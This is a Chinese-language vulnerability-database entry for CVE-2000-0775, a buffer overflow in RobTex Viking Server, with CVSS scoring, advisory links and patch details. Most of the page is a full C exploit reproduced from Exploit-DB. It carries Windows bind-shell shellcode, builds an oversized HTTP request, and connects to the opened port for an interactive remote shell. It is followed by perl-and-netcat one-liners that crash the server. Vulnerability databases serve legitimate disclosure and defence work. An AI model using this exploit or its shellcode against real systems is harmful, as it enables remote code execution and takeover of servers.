CVE-2000-0775
CVSS7.5
发布时间 :2000-10-20 00:00:00
修订时间 :2008-09-05 16:21:51
NMCOES    

[原文]Buffer overflow in RobTex Viking server earlier than 1.06-370 allows remote attackers to cause a denial of service or execute arbitrary commands via a long HTTP GET request, or long Unless-Modified-Since, If-Range, or If-Modified-Since headers.


[CNNVD]Robotex Viking 服务器缓冲区溢出漏洞(CNNVD-200010-060)

        RobTex Viking服务器1.06-370之前版本存在缓冲区溢出漏洞。远程攻击者可以借助超长HTTP GET请求或超长Unless-Modified-Since, If-Range,或If-Modified-Since头导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0775
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0775
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200010-060
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1614
(VENDOR_ADVISORY)  BID  1614
http://www.robtex.com/viking/bugs.htm
(UNKNOWN)  CONFIRM  http://www.robtex.com/viking/bugs.htm
http://www.securityfocus.com/templates/archive.pike?list=1&msg=399a01c01122$0d7f2310$0201a8c0@aviram
(UNKNOWN)  BUGTRAQ  20000828 [NT] Viking security vulnerabilities enable remote code execution (long URL, date parsing)

- 漏洞信息

Robotex Viking 服务器缓冲区溢出漏洞
高危 缓冲区溢出
2000-10-20 00:00:00 2005-10-20 00:00:00
远程※本地  
        RobTex Viking服务器1.06-370之前版本存在缓冲区溢出漏洞。远程攻击者可以借助超长HTTP GET请求或超长Unless-Modified-Since, If-Range,或If-Modified-Since头导致服务拒绝。

- 公告与补丁

        Robotex has released the following patch which eliminates the vulnerability:
        RobTex Viking Server 1.0.6 Build 355
        

- 漏洞信息 (20180)

RobTex Viking Server 1.0.6 Build 355 Buffer Overflow Vulnerability (EDBID:20180)
windows remote
2000-08-28 Verified
0 wildcoyote
N/A [点击下载]
source: http://www.securityfocus.com/bid/1614/info

A number of unchecked buffers exists in Robotex Viking Server. This enables a malicious user to either crash the application or execute arbitrary code, depending on the data supplied.

/*

 Robotex Viking Server Buffer Overflow Vulnerability
 Xploit by wildcoyote@coders-pt.org

 Accoding to bugtraq advisory....
 Bugtraq id        : 1614 
 Class             : Boundary Condition Error 
 Cve               : GENERIC-MAP-NOMATCH 
 Remote            : Yes 
 Local             : Yes 
 Published         : August 28, 2000 
 Vulnerable        : Robotex Viking Server 1.0.6 Build 355 and prior
                     - Microsoft Windows 95
                     - Microsoft Windows NT 4.0
 Not vulnerable    : Robotex Viking Server 1.0.6 Build 370 and above
                     - Microsoft Windows 95
                     - Microsoft Windows NT 4.0

 The following commands will crash Viking Server:

 1)
 GET [x11765] HTTP/1.1<enter><enter>

 2)
 GET / HTTP/1.1<enter>
 Unless-Modified-Since: [x14765]<enter><enter>

 3)
 GET / HTTP/1.1<enter>
 If-Range: [x14765]<enter><enter>

 4)
 GET / HTTP/1.1<enter>
 If-Modified-Since: [x14765]<enter><enter>

 Compile with: gcc RoboVikiXploit.c -o RoViX

 Comments : Yeah...I KNOW, i could have coded this longer'ago...but i've
            been kind of away ;P heh
            So...about one week'after being posted...here's tha exploit ;)

 Greetz to: I would like to dedicate'this code to my "new" friendz from
            last sunday when'#coders got together... ;)
            (in no particulary order :])
            Myke,Arsox,lucipher,mortiis,SamWise,Branc0,String,|Yzfr1|,
            Residdent,Net_phreak,NetCyborg,RedBaron (or something), and...
            i think'im not forgetting anybody :]
            If so, FLAME ME! I WAVE IT ;) heh
            Well..why not send a hug to my other'friendz at PTNET? :]
            niness, [medusa], pheer, ping, buffer, Badfile, jynx,
            nopinyp, X-raver, lunatic, Dalailama, errr...so many ppl
            I'll just /quote PRIVMSG *!*@* I WAVE YOU ALL! ;)
*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

struct RoboVikiXploiting_ways {
  char *Xploit_way;
  int port;
  char *command;
  int overflow_string_size;
};

struct RoboVikiXploiting_ways RoboVikiXploiting_ways[]={
  {"Robotex Viking Server simple HTTP Overflow",80,"GET BO HTTP/1.1\n\n",11765}, 
  {"Robotex Viking Server [Unless-Modified-Since] HTTP Overflow",80,"GET / HTTP/1.1\nUnless-Modified-Since: BO\n\n",14765},
  {"Robotex Viking Server [If-Range] HTTP Overflow",80,"GET / HTTP/1.1\nIf-Range: BO\n\n",14765},
  {"Robotex Viking Server [If-Modified-Since] HTTP Overflow",80,"GET / HTTP/1.1\nIf-Modified-Since: BO\n\n",14765},
  {NULL,0,NULL,0}
};

#define NOP                               0x90
#define PORT_LOCATION                      524 // Port will be injected on
                                               // byte'shellcode + 524
// Leet Port Binder'shellcode for Win b0xez...
char shellcode[] =
  "\x4b\x8b\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33"
  "\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b\xc7\x48"
  "\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90\x56\xff\x13\x8b"
  "\xd0\xfc\x33\xc9\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9"
  "\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a\xe2"
  "\xec\x32\xc0\xac\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff"
  "\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75"
  "\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a"
  "\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
  "\xe8\x93\x6a\x10\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57"
  "\xf0\x33\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48"
  "\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad"
  "\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33"
  "\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06\x89\x47"
  "\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c\x57\x57\x33\xc0"
  "\x50\x50\x50\x40\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff"
  "\x57\xc8\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc"
  "\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50"
  "\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5"
  "\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0\x83\x3f"
  "\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56\xff\x77\xa8\xff"
  "\x57\xdc\x0b\xc0\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff"
  "\x57\xf8\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04"
  "\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77"
  "\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57"
  "\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc"
  "\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8"
  "\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8"
  "\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6"
  "\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7"
  "\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8"
  "\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc\xdf\xf0"
  "\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5"
  "\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea"
  "\xea\x99\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2"
  "\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7"
  "\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb"
  "\xfc\xfa\xef\x99\x9b\x99"
  "\xff\xff" // Port Number will be injected here...
  "\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99"
  "\xff\xff\xff\xff\x09\x1f\x40\x00\x0d\x0ah";

int
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   // Oh yeah...got 2 resolve host information again :]
   struct hostent *he;
   he=gethostbyname(host);
   if (he==NULL) return -1;
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
   if (sock==-1) return -1;
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);
   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
   return sock;
}

void
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void
own3dshell(int sock)
{
 char buf[1024];
 fd_set rset;
 int i;
 while (1)
 {
  FD_ZERO(&rset);
  FD_SET(sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(sock+1,&rset,NULL,NULL,NULL);
  if (FD_ISSET(sock,&rset))
  {
   i=read(sock,buf,1024);
   if (i <= 0)
   {
     printf("The connection was closed!\n");
     printf("Exiting...\n\n");
     exit(0);
   }
   buf[i]=0;
   puts(buf);
  }
  if (FD_ISSET(STDIN_FILENO,&rset))
  {
   i=read(STDIN_FILENO,buf,1024);
   if (i>0)
   {
    buf[i]=0;
    write(sock,buf,i);
   }
  }
 }
}

void
VikingXown(char *host, int type, int bind_shell_port)
{
 char *buf, *tmp;
 int sock, i, x, buffer_size, bindshell=bind_shell_port;
 unsigned char *ShellPortOffset;
 printf("Type Number     : %d\n",type);
 printf("Xploit waye     : %s\n",RoboVikiXploiting_ways[type].Xploit_way);
 printf("Port            : %d\n",RoboVikiXploiting_ways[type].port);
 printf("Bind Shell Port : %d\n",bindshell);
 printf("Let the show begin ladyes...\n");
 printf("Connecting to %s [%d]...",host,RoboVikiXploiting_ways[type].port);
 sock=openhost(host,RoboVikiXploiting_ways[type].port);
 if (sock==-1)
 {
  printf("FAILED!\n");
  printf("Couldnt connect...leaving :|\n\n");
  exit(-1);
 }
 printf("SUCCESS!\n");
 printf("Determinating buffer size...");
 buffer_size=(strlen(RoboVikiXploiting_ways[type].command)
             +
             RoboVikiXploiting_ways[type].overflow_string_size);
 printf("DONE! (%d)\n",buffer_size);
 printf("Allocating memory for buffer...");
 if (!(buf=malloc(buffer_size)))
 {
  printf("FAILED!\n");
  printf("Leaving... :[\n\n");
  exit(-1);
 }
 printf("WORKED!\n");
 printf("Allocating memory for temp buffer...");
 if (!(tmp=malloc(RoboVikiXploiting_ways[type].overflow_string_size)))
 {
  printf("FAILED!\n");
  printf("Leaving... :[\n\n");
  exit(-1);
 }
 printf("WORKED TO! (heh)\n");
 for(i=0;
     i<RoboVikiXploiting_ways[type].overflow_string_size-strlen(shellcode);
     i++) tmp[i]=NOP;
 // Now we inject the 16 byte port number on tha shellcode ;)
 ShellPortOffset = shellcode + PORT_LOCATION;
 bind_shell_port ^= 0x9999;
 *ShellPortOffset = (char) ((bind_shell_port >> 8) & 0xff);
 *(ShellPortOffset + 1) = (char) (bind_shell_port & 0xff);
 strcat(tmp,shellcode);
 for(i=0;;i++)
  if ((RoboVikiXploiting_ways[type].command[i]=='B') &&
      (RoboVikiXploiting_ways[type].command[i+1]=='O')) break;
  else buf[i]=RoboVikiXploiting_ways[type].command[i];
 strcat(buf,tmp);
 i+=2;
 for(;i<strlen(RoboVikiXploiting_ways[type].command);i++)
    buf[strlen(buf)]=RoboVikiXploiting_ways[type].command[i];
 printf("Sending EVIL buffer ;)\n");
 sends(sock,buf);
 close(sock);
 printf("Freeing buffers...");
 free(buf);
 free(tmp);
 printf("DONE!\n");
 printf("Trying to binded'shell [%d]...",bindshell);
 sock=openhost(host,bindshell);
 if (sock==-1)
 {
  printf("FAILED!\n");
  printf("Too bad... :[ exiting...\n\n");
  exit(-1);
 }
 printf("W0RK3D! ;)\n");
 printf("Prepare to have an orgazm...(or something like that *g*)\n");
 own3dshell(sock);
 printf("I RULE!\n"); // Heh, nobody will ever'c thiz message, so why not? ;)
}

void
show_types()
{
 int i;
 printf("\n\t\t\t-* Available Typez *-\n\n");
 for(i=0;(RoboVikiXploiting_ways[i].Xploit_way!=NULL);i++)
 {
  printf("Type Number: %d\nXploit Way : %s\nPort : %d\nOverflow string size : %d\n-************************-\n",i
        ,RoboVikiXploiting_ways[i].Xploit_way
        ,RoboVikiXploiting_ways[i].port
        ,RoboVikiXploiting_ways[i].overflow_string_size);
 }
}

main(int argc, char *argv[])
{
 int i;
 // lets keep on (int) var i the number of types ;)
 for(i=0;;i++) if (RoboVikiXploiting_ways[i].Xploit_way==NULL) break;
 i--; // oh shit! Cant forget that'array[0] thingie! :))
 printf("\nRobotex Viking Server 1.0.6 Build 355 and prior by wildcoyote@coders-pt.org\n\n");
 if (argc<4) {
    printf("Sintaxe: %s <host> <type number> <bind shell port> [port (server)]\n",argv[0]);
    show_types();
    printf("\nFlamez to wildcoyote@coders-pt.org\n\n");
 }
 else if (atoi(argv[2])<=i)
       if (argc==4)
        if (atoi(argv[3])>0) VikingXown(argv[1],atoi(argv[2]),atoi(argv[3]));
        else
        {
         printf("Invalid Server Port... [(port_number <= 0)]\n");
         printf("Try again...heh\n\n");
        }
       else
           if ((atoi(argv[3])>0) && (atoi(argv[4])>0))
           {
            RoboVikiXploiting_ways[atoi(argv[2])].port=atoi(argv[4]);
            VikingXown(argv[1],atoi(argv[2]),atoi(argv[3]));
           }
           else
           {
            printf("Invalid Server/Bind Shell Port... [(port_number <= 0)]\n");
            printf("Try again...heh\n\n");
           }
      else
      {
        printf("Invalid type value (max type=%d)\n",i);
        show_types();
        printf("\n\n");
      }
}		

- 漏洞信息

84535
Viking Web Server Multiple Header Overflow
Remote / Network Access Denial of Service, Information Disclosure
Loss of Integrity, Loss of Availability Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Viking Web Server is prone to an overflow condition. The RobTex Viking Server fails to properly check a long HTTP GET request and the HTTP Headers Host, Unless-Modified-Since, If-Modified-Since, and If-Range resulting in a buffer overflow. With a specially crafted request, an attacker can cause cause the server to either crash or execute arbitrary code resulting in a loss of integrity, and/or availability.

- 时间线

2000-08-28 2000-08-28
Unknow Unknow

- 解决方案

Upgrade to version 1.9 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Robotex Viking Server Buffer Overflow Vulnerability
Boundary Condition Error 1614
Yes Yes
2000-08-28 12:00:00 2009-07-11 02:56:00
Posted to Bugtraq on August 28, 2000 by Aviram Jenik <aviram@beyondsecurity.com>.

- 受影响的程序版本

RobTex Viking Server 1.0.6 Build 355
- Microsoft Windows 95
- Microsoft Windows NT 4.0
RobTex Viking Server 1.0.6 Build 370
- Microsoft Windows 95
- Microsoft Windows NT 4.0

- 不受影响的程序版本

RobTex Viking Server 1.0.6 Build 370
- Microsoft Windows 95
- Microsoft Windows NT 4.0

- 漏洞讨论

A number of unchecked buffers exists in Robotex Viking Server. This enables a malicious user to either crash the application or execute arbitrary code, depending on the data supplied.

- 漏洞利用

The following commands will crash Viking Server:

1)
GET [x11765] HTTP/1.1&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET @{['x'x11765]} HTTP/1.1\n\n\""|nc 127.1 80)

2)
GET / HTTP/1.1&lt;enter&gt;
Unless-Modified-Since: [x14765]&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET / HTTP/1.1\nUnless-Modified-Since: @{['x'x14765]}\n\n\""|nc 127.1 80)

3)
GET / HTTP/1.1&lt;enter&gt;
If-Range: [x14765]&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET / HTTP/1.1\nIf-Range: @{['x'x14765]}\n\n\""|nc 127.1 80)

4)
GET / HTTP/1.1&lt;enter&gt;
If-Modified-Since: [x14765]&lt;enter&gt;&lt;enter&gt;
(Cmd: perl -e "print \"GET / HTTP/1.1\nIf-Modified-Since: @{['x'x14765]}\n\n\""|nc 127.1 80)

WildCoyote &lt;wildcoyote@coders-pt.org&gt; has released the following exploit:

- 解决方案

Robotex has released the following patch which eliminates the vulnerability:


RobTex Viking Server 1.0.6 Build 355

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站